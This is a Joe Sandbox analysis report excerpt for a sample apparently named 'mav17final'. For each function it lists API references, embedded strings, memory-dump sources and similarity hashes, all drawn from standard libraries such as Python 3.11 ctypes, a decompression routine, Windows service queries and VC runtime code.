Instruction Fuzzy Hash: BCF18A32E1C65384FB18AB7C8AA41BC27A1BF44FC4F4500B6CF4E66A95DE3DA945E340

Function 00007FF8B9F67FCF Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 171COMMON

Download Yara Rule

APIs

PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F6354C
PyMem_Malloc.PYTHON311 ref: 00007FF8B9F63585
PyMem_Free.PYTHON311 ref: 00007FF8B9F635D8
PyMem_Free.PYTHON311 ref: 00007FF8B9F635E1
PyObject_SetAttr.PYTHON311 ref: 00007FF8B9F6366A
PyMem_Free.PYTHON311 ref: 00007FF8B9F636DA
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F67F82
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6802E
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68042
PyErr_Format.PYTHON311 ref: 00007FF8B9F680ED
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68101
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F6811A

Strings

number of bits invalid for bit field, xrefs: 00007FF8B9F68024
%s:%s:, xrefs: 00007FF8B9F6359A
bit fields not allowed for type %s, xrefs: 00007FF8B9F680D8

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Mem_$DeallocErr_Free$AttrFormatMallocMemoryObject_StringUnicode_
String ID: %s:%s:$bit fields not allowed for type %s$number of bits invalid for bit field
API String ID: 2455365098-3576608231
Opcode ID: 2c8a630497d9b26071984d54006c75933da3e15f2b28fdb68437a92c613d873a
Instruction ID: 63c7349a73bc2f0fe5b99d42c03ebf4576343760101e0bdc30dafa967d0d5032
Opcode Fuzzy Hash: 2c8a630497d9b26071984d54006c75933da3e15f2b28fdb68437a92c613d873a
Instruction Fuzzy Hash: 0A812932A09B8286EB50CF69E5442A927A5FB45BEAF441236DB1D577A4DF3CE445C300

Function 00007FF8B90C3634 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 113COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140 ref: 00007FF8B90C368B
_PyArg_UnpackKeywords.PYTHON311 ref: 00007FF8B90C36D4
PyObject_GetBuffer.PYTHON311 ref: 00007FF8B90C36ED
PyBuffer_IsContiguous.PYTHON311 ref: 00007FF8B90C36FE
_PyNumber_Index.PYTHON311 ref: 00007FF8B90C3718
PyLong_AsSsize_t.PYTHON311 ref: 00007FF8B90C372D
PyBuffer_Release.PYTHON311 ref: 00007FF8B90C376B

Strings

contiguous buffer, xrefs: 00007FF8B90CB6F5
decompress, xrefs: 00007FF8B90CB703
argument 'data', xrefs: 00007FF8B90CB6FC

Memory Dump Source

Source File: 00000002.00000002.2072911922.00007FF8B90C1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8B90C0000, based on PE: true

Associated: 00000002.00000002.2072881040.00007FF8B90C0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072963464.00007FF8B90CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2072997412.00007FF8B90D1000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000002.00000002.2073022810.00007FF8B90D2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b90c0000_mav17final.jbxd

Similarity

API ID: Buffer_$Arg_BufferContiguousIndexKeywordsLong_Number_Object_ReleaseSsize_tUnpackmemset
String ID: argument 'data'$contiguous buffer$decompress
API String ID: 2593461735-2667845042
Opcode ID: 3b05843de0e9ce16ff05c83b1e5ddb82a75458333f409d7b11fcb9ec86cb24ae
Instruction ID: 997f3afed5144c54abfe46c98bd4cfb855a5baa500e1eec575bc5dbfa6e0d290
Opcode Fuzzy Hash: 3b05843de0e9ce16ff05c83b1e5ddb82a75458333f409d7b11fcb9ec86cb24ae
Instruction Fuzzy Hash: 90412A61A1CB8292EE249F1AE4446B963B5FB49BD4F444231DF5D07B94EF3CE58AC700

Function 00007FF8B9078910 Relevance: 21.2, APIs: 6, Strings: 6, Instructions: 163serviceCOMMON

Download Yara Rule

APIs

QueryServiceConfigW.ADVAPI32 ref: 00007FF8B907898B
GetLastError.KERNEL32 ref: 00007FF8B9078991
CloseServiceHandle.ADVAPI32 ref: 00007FF8B90789AB

Strings

(OOOs), xrefs: 00007FF8B9078A9F
manual, xrefs: 00007FF8B9078A84
unknown, xrefs: 00007FF8B9078A72
automatic, xrefs: 00007FF8B9078A8D
QueryServiceConfigW, xrefs: 00007FF8B907899C, 00007FF8B90789DD
disabled, xrefs: 00007FF8B9078A7B

Memory Dump Source

Source File: 00000002.00000002.2072526967.00007FF8B9071000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FF8B9070000, based on PE: true

Associated: 00000002.00000002.2072498028.00007FF8B9070000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072578581.00007FF8B907B000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072610762.00007FF8B9081000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000002.00000002.2072642427.00007FF8B9082000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9070000_mav17final.jbxd

Similarity

API ID: Service$CloseConfigErrorHandleLastQuery
String ID: (OOOs)$QueryServiceConfigW$automatic$disabled$manual$unknown
API String ID: 3136074459-3989453403
Opcode ID: a6aea964340cf90a23ab4a988428d36cc1078cd674b3d4c22542f756e6435465
Instruction ID: 5fe5c5032eacaee5e87a73444e583a4d6fb87c5e930ae7796288317b59816093
Opcode Fuzzy Hash: a6aea964340cf90a23ab4a988428d36cc1078cd674b3d4c22542f756e6435465
Instruction Fuzzy Hash: 1A614961A0DAC282EE569F2DA8981796BA1BF65BF0F484131DF1E467A0DF3CE447C700

Function 00007FF8B9F6BA14 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 126COMMON

Download Yara Rule

APIs

_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F6BA90
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6BAA3

Part of subcall function 00007FF8B9F6BA14: PySequence_GetItem.PYTHON311 ref: 00007FF8B9F6BAE8
Part of subcall function 00007FF8B9F6BA14: PySequence_GetItem.PYTHON311 ref: 00007FF8B9F6BAFF
Part of subcall function 00007FF8B9F6BA14: PyDict_Contains.PYTHON311 ref: 00007FF8B9F6BB27
Part of subcall function 00007FF8B9F6BA14: PyObject_SetAttr.PYTHON311 ref: 00007FF8B9F6BB3C
Part of subcall function 00007FF8B9F6BA14: _Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BB4D
Part of subcall function 00007FF8B9F6BA14: _Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BB5C
Part of subcall function 00007FF8B9F6BA14: PyErr_Format.PYTHON311 ref: 00007FF8B9F6BB97
Part of subcall function 00007FF8B9F6BA14: _Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BBA6
Part of subcall function 00007FF8B9F6BA14: _Py_Dealloc.PYTHON311 ref: 00007FF8B9F6BBC0

Strings

duplicate values for field %R, xrefs: 00007FF8B9F6BB8A

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$Item$Dict_Err_Sequence_$AttrContainsErrorFormatObject_OccurredWith
String ID: duplicate values for field %R
API String ID: 1919794741-1910533534
Opcode ID: f71277947be2d2287fba46fe0b915e6ba484f6932f6352b1fb4de12eb2f3b1be
Instruction ID: 786f80bdb4a5c75d860087bdb77cf0352785d65d6b670fae0d21454ab4a0b7a2
Opcode Fuzzy Hash: f71277947be2d2287fba46fe0b915e6ba484f6932f6352b1fb4de12eb2f3b1be
Instruction Fuzzy Hash: F9515E21A0DB8681EE549F6AE85857967A4BF85BF7F085231CF1E473A4EE3CE005C300

Function 00007FF8B9F6D0A8 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 123threadCOMMON

Download Yara Rule

APIs

PyEval_SaveThread.PYTHON311(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D0EE
GetErrorInfo.OLEAUT32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D133
PyEval_RestoreThread.PYTHON311(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D190
ProgIDFromCLSID.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D1A3
Py_BuildValue.PYTHON311(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D1E5
PyErr_SetObject.PYTHON311(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D1FD
_Py_Dealloc.PYTHON311(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D20C
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00007FF8B9F6D215
SysFreeString.OLEAUT32 ref: 00007FF8B9F6D224
SysFreeString.OLEAUT32 ref: 00007FF8B9F6D233
SysFreeString.OLEAUT32 ref: 00007FF8B9F6D242

Strings

iu(uuuiu), xrefs: 00007FF8B9F6D1DE

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Free$String$Eval_Thread$BuildDeallocErr_ErrorFromInfoLocalObjectProgRestoreSaveValue
String ID: iu(uuuiu)
API String ID: 2817777535-1877708109
Opcode ID: f3fff332be11df24bb43f445367687364f99778bf223ac6a64006d9486d4d9c8
Instruction ID: 6533bcf5144183a18baebb441b325f9f22c620cf1e511a1661d1ec055919fe29
Opcode Fuzzy Hash: f3fff332be11df24bb43f445367687364f99778bf223ac6a64006d9486d4d9c8
Instruction Fuzzy Hash: 2D510566B04A469AEB009F69D8943AC27B0FB89BEAF045536DF0E57B58DF3CD508C310

Function 00007FF8B9F694A0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 117COMMON

Download Yara Rule

APIs

PyIndex_Check.PYTHON311 ref: 00007FF8B9F694D4
PyNumber_AsSsize_t.PYTHON311 ref: 00007FF8B9F694EB
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F694FA
PyErr_SetString.PYTHON311 ref: 00007FF8B9F69617

Strings

indices must be integer, xrefs: 00007FF8B9F69606
Array does not support item deletion, xrefs: 00007FF8B9F694C5
Can only assign sequence of same size, xrefs: 00007FF8B9F695A8

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$CheckIndex_Number_OccurredSsize_tString
String ID: Array does not support item deletion$Can only assign sequence of same size$indices must be integer
API String ID: 428023279-3643249925
Opcode ID: 67ecbcca89311aff2d866ea192ce1f612227fb21c186869f9d79deb68ba184de
Instruction ID: 09e76799626e496576f0ebf1f65c8b507fb8a0ddc8cc0878f2cc90994220fd99
Opcode Fuzzy Hash: 67ecbcca89311aff2d866ea192ce1f612227fb21c186869f9d79deb68ba184de
Instruction Fuzzy Hash: D0416E62A08BC281EE548F6ED9500B527A1FF45BFAB086532DF1D47796EE3CE885C310

Function 00007FF8B9F640BC Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 108COMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON311(00000000,00000000,00000001,00007FF8B9F6373F), ref: 00007FF8B9F640E1
PySequence_Fast.PYTHON311 ref: 00007FF8B9F68B99
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68BAD
PyObject_GetAttr.PYTHON311 ref: 00007FF8B9F68BFA
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68C45
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68C5B
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F68C6E

Strings

'%U' is specified in _anonymous_ but not in _fields_, xrefs: 00007FF8B9F68C81
_anonymous_ must be a sequence, xrefs: 00007FF8B9F68B92

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Dealloc$AttrObject_$FastLookupSequence_
String ID: '%U' is specified in _anonymous_ but not in _fields_$_anonymous_ must be a sequence
API String ID: 1391743325-2678605723
Opcode ID: 7250101b7d384b3603d10181ac32ac0acd4c5aaae793a49ebea8f6d5bde9a43b
Instruction ID: 8c7e962dd1f7a8c0d45762aa746169a407cc93bae1475575c8e7ac6685db3a92
Opcode Fuzzy Hash: 7250101b7d384b3603d10181ac32ac0acd4c5aaae793a49ebea8f6d5bde9a43b
Instruction Fuzzy Hash: 9A413622A0DB8285EA559F2AE95017867A0FF8ABF6F086135CF0E437A0DF3CE455D300

Function 00007FF8B9F620E8 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 104COMMON

Download Yara Rule

APIs

PyObject_IsInstance.PYTHON311 ref: 00007FF8B9F62106
PyUnicode_AsUTF8.PYTHON311 ref: 00007FF8B9F6212E

Part of subcall function 00007FF8B9F63DC0: _PyObject_New.PYTHON311(?,?,?,?,00007FF8B9F646A2,?,?,?,00007FF8B9F61959), ref: 00007FF8B9F63DCB

PyErr_Clear.PYTHON311 ref: 00007FF8B9F67143
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F67152
_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F67167
_Py_CheckRecursiveCall.PYTHON311 ref: 00007FF8B9F671A3
_Py_Dealloc.PYTHON311 ref: 00007FF8B9F671BC
PyErr_SetString.PYTHON311 ref: 00007FF8B9F67215

Strings

wrong type, xrefs: 00007FF8B9F67204
abstract class, xrefs: 00007FF8B9F67137
while processing _as_parameter_, xrefs: 00007FF8B9F6719C

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Object_$DeallocErr_$AttrCallCheckClearInstanceLookupRecursiveStringUnicode_
String ID: abstract class$while processing _as_parameter_$wrong type
API String ID: 4206935778-1173273510
Opcode ID: 961a10382abbd73e4d2a667dfe19ccb16767b9e8d8b3bad4ce0000eff4bf0ebe
Instruction ID: e2c207d768132ba51fbc7525303fd5e5613af1f0a0821b61143639bb13eb72a1
Opcode Fuzzy Hash: 961a10382abbd73e4d2a667dfe19ccb16767b9e8d8b3bad4ce0000eff4bf0ebe
Instruction Fuzzy Hash: 17411D62A0CB8282EE509F6DE8441B92760FF89BE6F186131DB0D87765DF7CE445C300

Function 00007FF8B9F62320 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F62381
PyLong_AsUnsignedLongMask.PYTHON311 ref: 00007FF8B9F623A7
_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F623C1
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F6245D

Part of subcall function 00007FF8B9F64118: PySequence_Tuple.PYTHON311 ref: 00007FF8B9F64130
Part of subcall function 00007FF8B9F64118: PyTuple_New.PYTHON311 ref: 00007FF8B9F64157
Part of subcall function 00007FF8B9F64118: _PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F6418A

_PyDict_GetItemIdWithError.PYTHON311 ref: 00007FF8B9F623FF
_PyObject_LookupAttrId.PYTHON311 ref: 00007FF8B9F62446
PyCallable_Check.PYTHON311 ref: 00007FF8B9F67295
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F672AC
PyErr_Occurred.PYTHON311 ref: 00007FF8B9F672C0
PyErr_SetString.PYTHON311 ref: 00007FF8B9F672E0

Strings

class must define _flags_ which must be an integer, xrefs: 00007FF8B9F672CF
_restype_ must be a type, a callable, or None, xrefs: 00007FF8B9F672A3

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$Dict_ErrorItemOccurredWith$AttrLookupObject_$Callable_CheckLongLong_MaskSequence_StringTupleTuple_Unsigned
String ID: _restype_ must be a type, a callable, or None$class must define _flags_ which must be an integer
API String ID: 3087875697-2538317290
Opcode ID: c02ca58e13a46a6ce0520458656b58573f0571ee4510cffb2fc4fd828f69ccf3
Instruction ID: ad0532cd44e96e8733dda91cb7668975a91a20ac49c346708db2324a7671ec74
Opcode Fuzzy Hash: c02ca58e13a46a6ce0520458656b58573f0571ee4510cffb2fc4fd828f69ccf3
Instruction Fuzzy Hash: C8412E21A09F8292EE958F29E9403B827A0FF45BE6F586535DB4D873A5DF3CE464C310

Function 00007FF8B9F6DEDC Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 76COMMON

Download Yara Rule

APIs

PyArg_ParseTuple.PYTHON311 ref: 00007FF8B9F6DEF6
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6DF2A
PyErr_Format.PYTHON311 ref: 00007FF8B9F6DF51
PyErr_Format.PYTHON311 ref: 00007FF8B9F6DF70
PyMem_Calloc.PYTHON311 ref: 00007FF8B9F6DF99
PyErr_NoMemory.PYTHON311 ref: 00007FF8B9F6DFA7
memcpy.VCRUNTIME140 ref: 00007FF8B9F6DFBF
PyMem_Realloc.PYTHON311 ref: 00007FF8B9F6DFD2

Strings

On:resize, xrefs: 00007FF8B9F6DEEA
minimum size is %zd, xrefs: 00007FF8B9F6DF47
excepted ctypes instance, xrefs: 00007FF8B9F6DF20
Memory cannot be resized because this object doesn't own it, xrefs: 00007FF8B9F6DF66

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_$FormatMem_$Arg_CallocMemoryParseReallocStringTuplememcpy
String ID: Memory cannot be resized because this object doesn't own it$On:resize$excepted ctypes instance$minimum size is %zd
API String ID: 2473355626-828838525
Opcode ID: f25097e4f29e0a836fc8ce735c340e9b52c9a2e89e2e7b96c33704ef34719194
Instruction ID: 694b2365e6178be127a396bcacb3205d0d63ad75cddaf8e4e768dad4bb682fc5
Opcode Fuzzy Hash: f25097e4f29e0a836fc8ce735c340e9b52c9a2e89e2e7b96c33704ef34719194
Instruction Fuzzy Hash: 92312662A19B82C1EE588F1EE8541796770FF89BE6F242036DB0E47764DF2DE894D310

Function 00007FF8BA24AC40 Relevance: 19.9, APIs: 13, Instructions: 361COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24AC91
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24AD5A
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24ADA3
DName::operator+.LIBVCRUNTIME ref: 00007FF8BA24ADB4

Memory Dump Source

Source File: 00000002.00000002.2073581981.00007FF8BA241000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF8BA240000, based on PE: true

Associated: 00000002.00000002.2073546754.00007FF8BA240000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073621002.00007FF8BA251000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073653780.00007FF8BA256000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.2073688952.00007FF8BA257000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8ba240000_mav17final.jbxd

Similarity

API ID: Name::operator+
String ID:
API String ID: 2943138195-0
Opcode ID: b0c5aa40c95afe9820d08c2b3a0b3f0a0bd29e174dcc6565612d28bd398cd5cc
Instruction ID: 375c02fc77ce0a4da22f5ebbe1043b1e7b06d4f203fdcbc42d763955e3e38de9
Opcode Fuzzy Hash: b0c5aa40c95afe9820d08c2b3a0b3f0a0bd29e174dcc6565612d28bd398cd5cc
Instruction Fuzzy Hash: C2F14A76B08A829AF710DF69D4901FC37B0BB04B8CB4440B6EF5D57A99DE38E559E380

Function 00007FF8B9F628F0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 197COMMON

Download Yara Rule

APIs

PyTuple_New.PYTHON311 ref: 00007FF8B9F676A3
PyLong_AsUnsignedLongMask.PYTHON311 ref: 00007FF8B9F67709

Strings

paramflag %u not yet implemented, xrefs: 00007FF8B9F67861
call takes exactly %d arguments (%zd given), xrefs: 00007FF8B9F678DF
NULL stgdict unexpected, xrefs: 00007FF8B9F6789E
%s 'out' parameter must be passed as default value, xrefs: 00007FF8B9F67881

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: LongLong_MaskTuple_Unsigned
String ID: %s 'out' parameter must be passed as default value$NULL stgdict unexpected$call takes exactly %d arguments (%zd given)$paramflag %u not yet implemented
API String ID: 1136903700-2588965191
Opcode ID: 91dd6e13f2742febeda4ec11071149d11ba9fea3fb7657fd2f121691aebacfe3
Instruction ID: f8e7b28863e303b06baa6959b365af28a352030ceff631ceeecba0e59799c42f
Opcode Fuzzy Hash: 91dd6e13f2742febeda4ec11071149d11ba9fea3fb7657fd2f121691aebacfe3
Instruction Fuzzy Hash: 21812972A09BC286EEA08F1AE4406B967A4FB85BE6F155036DF5D83768DF3CE444C700

Function 00007FF8B9F6AA7C Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 165COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311(?,?,?,?,00007FF8B9F6947D,?), ref: 00007FF8B9F6AABD

Strings

not a ctype instance, xrefs: 00007FF8B9F6AAB3
incompatible types, %s instance instead of %s instance, xrefs: 00007FF8B9F6ACE1
expected %s instance, got %s, xrefs: 00007FF8B9F6ABDE
(%s) , xrefs: 00007FF8B9F6AB4E

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073519452.00007FF8B9F7B000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff8b9f60000_mav17final.jbxd

Similarity

API ID: Err_String
String ID: (%s) $expected %s instance, got %s$incompatible types, %s instance instead of %s instance$not a ctype instance
API String ID: 1450464846-2159251832
Opcode ID: 07203d23819d05828f358a56c03890258eda92ffb1c002cf2859f9f66371a8e9
Instruction ID: ff7bc254bd6e258bc7c7ae312bf671cbd41cc6943f08692162433c507b90489c
Opcode Fuzzy Hash: 07203d23819d05828f358a56c03890258eda92ffb1c002cf2859f9f66371a8e9
Instruction Fuzzy Hash: C8712961A08B8282EA549F1EE9501B96761FF85FE6F596032DF0E477A9DF2CE440C350

Function 00007FF8B9F6AEA0 Relevance: 19.4, APIs: 4, Strings: 7, Instructions: 145COMMON

Download Yara Rule

APIs

_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F6AF08
PyErr_SetString.PYTHON311 ref: 00007FF8B9F6AF46
_PyArg_ParseTuple_SizeT.PYTHON311 ref: 00007FF8B9F6AFE9
PyErr_Format.PYTHON311 ref: 00007FF8B9F6B04C

Strings

paramflags must have the same length as argtypes, xrefs: 00007FF8B9F6AFAD
paramflags must be a sequence of (int [,string [,value]]) tuples, xrefs: 00007FF8B9F6B0D7
paramflags must be a tuple or None, xrefs: 00007FF8B9F6B0E3
paramflag value %d not supported, xrefs: 00007FF8B9F6B03E
i|OO, xrefs: 00007FF8B9F6AFE2
abstract class, xrefs: 00007FF8B9F6AF35
is|Oz#, xrefs: 00007FF8B9F6AEE3

Memory Dump Source

Source File: 00000002.00000002.2073399424.00007FF8B9F61000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FF8B9F60000, based on PE: true

Associated: 00000002.00000002.2073369896.00007FF8B9F60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073427711.00007FF8B9F70000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000002.00000002.2073461969.00007FF8B9F77000.00000004.00000001.01000000.00000006.sdmpDownload File
